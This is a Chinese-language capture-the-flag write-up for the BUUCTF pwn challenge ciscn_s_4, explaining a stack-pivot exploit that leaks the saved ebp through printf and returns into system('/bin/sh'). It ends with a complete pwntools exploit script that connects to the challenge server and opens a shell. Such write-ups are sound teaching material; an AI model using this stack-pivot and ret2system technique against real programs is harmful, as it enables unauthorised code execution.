# 1. 查看程序

32 位程序,开启了 NX

ida 反汇编:

vul函数 :可以看到只能溢出两个字,也就只能覆盖 ebp 和 ret,这种一般都需要栈迁移

hack函数 :只提供了 system 函数,无法获得 flag,所以不能直接用这个地址覆盖 ret

# 2. 漏洞分析

由于可以溢出的字节数太小,所以就需要进行栈迁移,这里要考虑迁移的地址,首先 bss 段上没有很大的空间,并且没有备份去写入内容到 bss,所以就只能考虑栈上,那么就需要我们泄露栈上的地址,这里就可以利用 printf 来打印出 mian 函数的 ebp 地址再利用偏移就能计算出我们输入的字符串的地址:


通过计算得出偏移为 0x38:

接下来在栈上构造 system("/bin/sh") 然后返回去执行即可【这里是 ret 回去还是栈迁移】

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./ciscn_s_4')
p=remote('node4.buuoj.cn',27282)
system=0x8048400
leave_ret=0x080484b8
payload1=b"a"*(0x24)+b"bbbb"
p.send(payload1) #这里不能是以 sendline 发送,会影响泄露
p.recvuntil("bbbb")
ebp=u32(p.recv(4))
print("ebp",hex(ebp))
buf=ebp-0x38
payload2=(p32(system)+p32(0)+p32(buf+12)+b"/bin/sh\x00").ljust(0x28,b"a")+p32(buf-4)+p32(leave_ret)
p.sendline(payload2)
p.interactive()